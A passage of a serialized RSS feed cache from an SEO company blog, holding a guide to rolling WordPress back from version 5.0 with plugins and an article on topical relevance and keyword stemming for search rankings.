class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Problem solved.&lt;/p&gt;\n&lt;p&gt;There&amp;#8217;s also a plugin you can use if you just want to disable the Gutenberg editor and revert to the &lt;a href=\&quot;https://wordpress.org/plugins/classic-editor/\&quot;&gt;WP classic editor&lt;/a&gt; that you can learn about here &amp;#8211; &lt;a href=\&quot;https://gogutenberg.com/disable-gutenberg/\&quot;&gt;https://gogutenberg.com/disable-gutenberg/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=mFkgcZIy4CM:279NYzft6Nw:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/mFkgcZIy4CM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:492:\&quot;Ok, so, you&amp;#8217;ve heard the chatter about this Gutenberg thing from WordPress for the last 6 months or so, and sometimes life just gets in the way and things can take you by surprise, but an WP update shouldn&amp;#8217;t be one of them. So, just in case this happened to you, don&amp;#8217;t panic, here&amp;#8217;s a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-rollback-wordpress-5-0-a-just-in-case-you-werent-ready-guide/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:133:\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-rollback-wordpress-5-0-a-just-in-case-you-werent-ready-guide/\&quot;;}s:7:\&quot;summary\&quot;;s:492:\&quot;Ok, so, you&amp;#8217;ve heard the chatter about this Gutenberg thing from WordPress for the last 6 months or so, and sometimes life just gets in the way and things can take you by surprise, but an WP update shouldn&amp;#8217;t be one of them. So, just in case this happened to you, don&amp;#8217;t panic, here&amp;#8217;s a &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/how-to-reference-material/how-to-rollback-wordpress-5-0-a-just-in-case-you-werent-ready-guide/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:5878:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Ok, so, you&amp;#8217;ve heard the chatter about this &lt;a href=\&quot;https://wordpress.org/plugins/gutenberg/\&quot;&gt;Gutenberg thing&lt;/a&gt; from WordPress for the last 6 months or so, and sometimes life just gets in the way and things can take you by surprise, but an WP update shouldn&amp;#8217;t be one of them.&lt;/p&gt;\n&lt;p&gt;So, just in case this happened to you, don&amp;#8217;t panic, here&amp;#8217;s a quick guide on how you can rollback WordPress with a few simple plugins and make all the headaches of broken themes and plugins go away&amp;#8230;&lt;/p&gt;\n&lt;p&gt;While this is just a temporary fix (as you can&amp;#8217;t put off updating indefinitely) but this can give you and theme and plugin developers a chance to catch up and patch things to be more stable as any WP core update can potentially wreak havoc.&lt;/p&gt;\n&lt;p&gt;Anyway, here&amp;#8217;s a quick fix:&lt;/p&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/WP-Downgrade-Plugin.jpg\&quot; class=\&quot;image-module img-responsive img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/WP-Downgrade-Plugin.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Step 1) Download the &lt;strong&gt;WP Downgrade Plugin&lt;/strong&gt; &amp;#8211; You can find it here &amp;#8211; &lt;a href=\&quot;https://wordpress.org/plugins/wp-downgrade/\&quot;&gt;https://wordpress.org/plugins/wp-downgrade/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Step 2) &lt;strong&gt;Install and Activate the Plugin&lt;/strong&gt; &amp;gt; Then go to &lt;strong&gt;Settings&lt;/strong&gt; &amp;gt; &lt;strong&gt;WP-Downgrade&lt;/strong&gt; &amp;gt; then &lt;strong&gt;Enter the version you&amp;#8217;d like to rollback to&lt;/strong&gt; &amp;gt; for example I used 4.9.8&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/wp-downgrade-settings-1024x386.jpg\&quot; class=\&quot;image-module img-responsive img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/wp-downgrade-settings-1024x386.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Step 3) &lt;strong&gt;Save changes&lt;/strong&gt; and then &lt;strong&gt;click the link to upgrade your WP Core&lt;/strong&gt;, then it should have the version you entered and successfully rollback changes (just like you&amp;#8217;d update to a newer version from WP).&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/easy-updates-manager-plugin-1010x640.jpg\&quot; class=\&quot;image-module img-responsive rectangle img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/easy-updates-manager-plugin-1010x640.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;If you want to stop or disable auto-updates entirely, you can add this plugin from &amp;#8211; &lt;a href=\&quot;https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/\&quot;&gt;https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Just &lt;strong&gt;Download, Install and Activate Plugin&lt;/strong&gt; &amp;gt; Then go to &lt;strong&gt;Updates Options&lt;/strong&gt; &amp;gt; in sidebar &amp;gt; right under updates &amp;gt; Then click &lt;strong&gt;Disable Updates&lt;/strong&gt; and &lt;strong&gt;Save Changes &lt;/strong&gt;&amp;gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/disable-updates-option-1200x640.jpg\&quot; class=\&quot;image-module img-responsive rectangle img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/disable-updates-option-1200x640.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Problem solved.&lt;/p&gt;\n&lt;p&gt;There&amp;#8217;s also a plugin you can use if you just want to disable the Gutenberg editor and revert to the &lt;a href=\&quot;https://wordpress.org/plugins/classic-editor/\&quot;&gt;WP classic editor&lt;/a&gt; that you can learn about here &amp;#8211; &lt;a href=\&quot;https://gogutenberg.com/disable-gutenberg/\&quot;&gt;https://gogutenberg.com/disable-gutenberg/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Enjoy!&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=mFkgcZIy4CM:279NYzft6Nw:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/mFkgcZIy4CM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:1;a:13:{s:5:\&quot;title\&quot;;s:44:\&quot;Topical Relevance, SEO and Keyword Stemming!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/5s6Rr3nWUss/\&quot;;s:8:\&quot;category\&quot;;s:129:\&quot;ArticlesKeyword Stemming and SEOSearch Engine Relevance ModelSEO and Contextual RelevanceSEO and Topical RelevanceUnique Keywords\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 19 May 2017 00:59:15 PDT\&quot;;s:4:\&quot;guid\&quot;;s:91:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:11759:\&quot;&lt;p&gt;For the purpose of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-675cf1bc-12c8-b129-883d-07e8f9c370fb\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&lt;/a&gt;, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; and (3) increase &lt;span id=\&quot;urn:enhancement-52755389-69c7-5844-fc7d-c3f9ada3c8f9\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/conversion_marketing\&quot;&gt;conversion&lt;/span&gt; by having a higher number of pages occupying a larger percentage of market share for &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/using-related-search-to-find-googles-most-search-keywords/\&quot;&gt;related keywords&lt;/a&gt; and queries.&lt;/p&gt;\n&lt;div id=\&quot;attachment_2549\&quot; style=\&quot;width: 435px\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-2549\&quot; title=\&quot;keyword-stemming\&quot; src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg\&quot; alt=\&quot;Create Topical Relevance for Keyword Stemming\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Topical Relevance for Keyword Stemming&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;What degree of contextual extraction from &lt;span id=\&quot;urn:enhancement-5b65dde2-b5c2-290a-b2e9-3079555e88f8\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engine snippets contributes to ambient or unintentional &lt;span id=\&quot;urn:enhancement-40bd1a5b-b768-0d26-0bf8-19ea6fe9d678\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engine rankings? Considering that &lt;strong&gt;over 50% of keyword queries are unique&lt;/strong&gt; and even &lt;span id=\&quot;urn:enhancement-2bd56aef-0865-56db-2e17-c05892a6ead7\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines have not seen them; information retrieval relies on &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/using-lsi-based-synonyms-for-on-page-semantic-relevance/\&quot;&gt;contextual relevance&lt;/a&gt; to determine a pages quality score determined by the domain authority.&lt;span id=\&quot;more-2553\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;urn:enhancement-b3f7226e-c6c5-778b-0c1f-2c5fc8eab9be\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_search_engine\&quot;&gt;Search engine&lt;/span&gt; optimization (&lt;span id=\&quot;urn:enhancement-f0f7cedc-6d10-eb93-077a-db5c67c8af55\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;&lt;/span&gt;) involves fine tuning your pages for optimal performance in &lt;span id=\&quot;urn:enhancement-d214637f-6554-c500-8fa8-22e1827be56b\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines.  While many webmasters and &lt;span id=\&quot;urn:enhancement-1149af12-353c-0811-a736-415a7aea8933\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&amp;#8216;s only focus on &lt;strong&gt;metrics you can measure&lt;/strong&gt;, there is a holistic and alchemical element that occurs naturally over time when the value of each page blends and fuses to create topical islands of relevance. This topical relevance allows pages to rank for a plethora of key phrases unintentionally and deliver an array of traffic to fuel &lt;span id=\&quot;urn:enhancement-6143fbfa-ec02-278c-742a-4fd5c0ccce65\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/conversion_marketing\&quot;&gt;conversion&lt;/span&gt; for your website.&lt;/p&gt;\n&lt;p&gt;There is a &lt;strong&gt;window of relevance&lt;/strong&gt; that &lt;span id=\&quot;urn:enhancement-ad0c433f-d828-0783-3b84-b174987abafb\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines use to determine which content stays and which content goes. For example, pages from sites that have not been visited since 1997 without &lt;span id=\&quot;urn:enhancement-22e85bca-c455-d2d5-1bf8-e17241040c74\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/backlink\&quot;&gt;inbound links&lt;/span&gt;, references or any type of inference from peers (other sites) lack the necessary impact to remain a relevant result and are either minimized to &lt;span id=\&quot;urn:enhancement-e6079f90-a52a-b37a-552e-cfd0d04979af\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt; for 1-2 terms or are essentially pushed out of the index.&lt;/p&gt;\n&lt;p&gt;On the contrary a new page from a trusted site or a new page from a site being linked to from other topical sites, social media sites, news aggregators, directories or editorially from various sources does have the needed ingredients to toggle the metrics necessary to be considered a relevant page and thus ensures its survival in the SERPs.&lt;/p&gt;\n&lt;p&gt;Essentially, each page that crosses a &lt;strong&gt;relevance threshold&lt;/strong&gt; for the on page and off page synergy starts to stem and rank for keywords found sparsely on that page. This translates into hit after hit for keyword that was not considered primary phrases for the page in question.&lt;/p&gt;\n&lt;p&gt;This is typically referred to as &lt;em&gt;mid-tail to long-tail traffic&lt;/em&gt;, however, this type of traffic can often exceed intentional (sought after) primary keywords consistently. In addition, using this aspect of how &lt;span id=\&quot;urn:enhancement-c790d089-46f9-d0ae-3ea8-bec8d436f2a6\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines scale relevance (before awarding a site a top &lt;span id=\&quot;urn:enhancement-8d571f11-be70-f9a8-44c1-4b8171b3df13\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt;) &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/website-optimization-tips-for-link-building-and-seo/\&quot;&gt;keyword stemming&lt;/a&gt; should be utilized as a strategic advantage.&lt;/p&gt;\n&lt;p&gt;Mapping out the most &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-optimized/\&quot;&gt;relevant shingles&lt;/a&gt; to define your page to &lt;span id=\&quot;urn:enhancement-6e1d9ded-7819-36ab-f854-9d9057bfcd03\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines, then using accommodating anchor text (on page) within the site with internal links and reinforcing that with (off page) links from other sites with related topical reference (&lt;span id=\&quot;urn:enhancement-17b3569b-3e83-e307-f361-65dd904014b8\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/peer_review\&quot;&gt;peer review&lt;/span&gt;) creates authority for those keywords and key phrases.&lt;/p&gt;\n&lt;p&gt;So, for those still trying to measure the &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-services/seo-pricing-why-seo-rates-cost-so-much/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-a8a160a9-67a7-a625-8b89-d410364fb8e6\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/return_on_investment\&quot;&gt;ROI&lt;/span&gt; of &lt;span id=\&quot;urn:enhancement-6eb552b2-cc90-eadc-d4e2-fc9291a05bee\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&lt;/a&gt; prematurely, the results are cumulative and essentially continue to overlap over time. The takeaway is, with the exceedingly high degree of click fraud occurring in &lt;a href=\&quot;http://seodesignsolutions.com/blog/internet-marketing/seo-ppc-advertising-branding-or-lead-generation/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-812a4ac3-0e71-9eff-5a40-e7e15ae7f600\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/pay_per_click\&quot;&gt;PPC&lt;/span&gt; &lt;/a&gt;(up to 35% in some instances) taking control of how you communicate your pages purpose to &lt;span id=\&quot;urn:enhancement-04b30c8a-aeab-294a-634a-dcecedf33989\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines and how they evaluate your website (as a reference or authority) is an added benefit of &lt;span id=\&quot;urn:enhancement-070bf8a7-f77f-db88-c2b0-65cba254b692\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;.&lt;/p&gt;\n&lt;p&gt;For every keyword you target with purpose, 10 more are also pulled into the spotlight (which you can use to stem and pull up multiple related pages within your website into the top 10 results).&lt;/p&gt;\n&lt;p&gt;What is &lt;strong&gt;the value of a top 10 &lt;span id=\&quot;urn:enhancement-ee37e751-aa90-687e-2a2d-0e57ae221939\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt;&lt;/strong&gt; you might ask? That all depends on how trafficked the keyword or the topic are. However, aside from &lt;span id=\&quot;urn:enhancement-ea9cc3e7-924d-275d-2da0-00e2152967fd\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_traffic\&quot;&gt;visitors&lt;/span&gt; typing in keywords and searching for those pages, &lt;span id=\&quot;urn:enhancement-b0d09fa5-55c7-0000-fc40-582268403e31\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines can evaluate when your content has passed the contextual point of relevance and will essentially return those pages as relevant results (when someone searches).&lt;/p&gt;\n&lt;p&gt;With this in mind, you can target the low hanging fruit of today to capture the most competitive keywords in the long-run and create a pure win/win relevance model for your website.&lt;/p&gt;\n&lt;p&gt;Viewing &lt;span id=\&quot;urn:enhancement-ad242e3d-4501-7a41-ce02-f1d0206c9ac0\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt; from this standpoint, you can reap the immediate short-term benefits of rankings funneling &lt;span id=\&quot;urn:enhancement-36b6f0ba-909a-b78e-de18-a6c125a7a9e8\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_traffic\&quot;&gt;visitors&lt;/span&gt; to landing pages or take the approach of devouring market share so that &amp;#8220;just in case&amp;#8221; prospects &lt;span id=\&quot;urn:enhancement-b188756f-3abf-6432-0411-0d8e0935b559\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; for a particular topic; your website is there at the helm of all things related.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5s6Rr3nWUss:_yZ1XJfU3L8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5s6Rr3nWUss\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:487:\&quot;For the purpose of SEO, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical domain authority and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for related keywords and queries. Create Topical Relevance &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:96:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;28\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:91:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;;}s:7:\&quot;summary\&quot;;s:487:\&quot;For the purpose of SEO, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical domain authority and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for related keywords and queries. Create Topical Relevance &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:11759:\&quot;&lt;p&gt;For the purpose of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-675cf1bc-12c8-b129-883d-07e8f9c370fb\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&lt;/a&gt;, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; and (3) increase &lt;span id=\&quot;urn:enhancement-52755389-69c7-5844-fc7d-c3f9ada3c8f9\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/conversion_marketing\&quot;&gt;conversion&lt;/span&gt; by having a higher number of pages occupying a larger percentage of market share for &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/using-related-search-to-find-googles-most-search-keywords/\&quot;&gt;related keywords&lt;/a&gt; and queries.&lt;/p&gt;\n&lt;div id=\&quot;attachment_2549\&quot; style=\&quot;width: 435px\&quot; class=\&quot;wp-caption 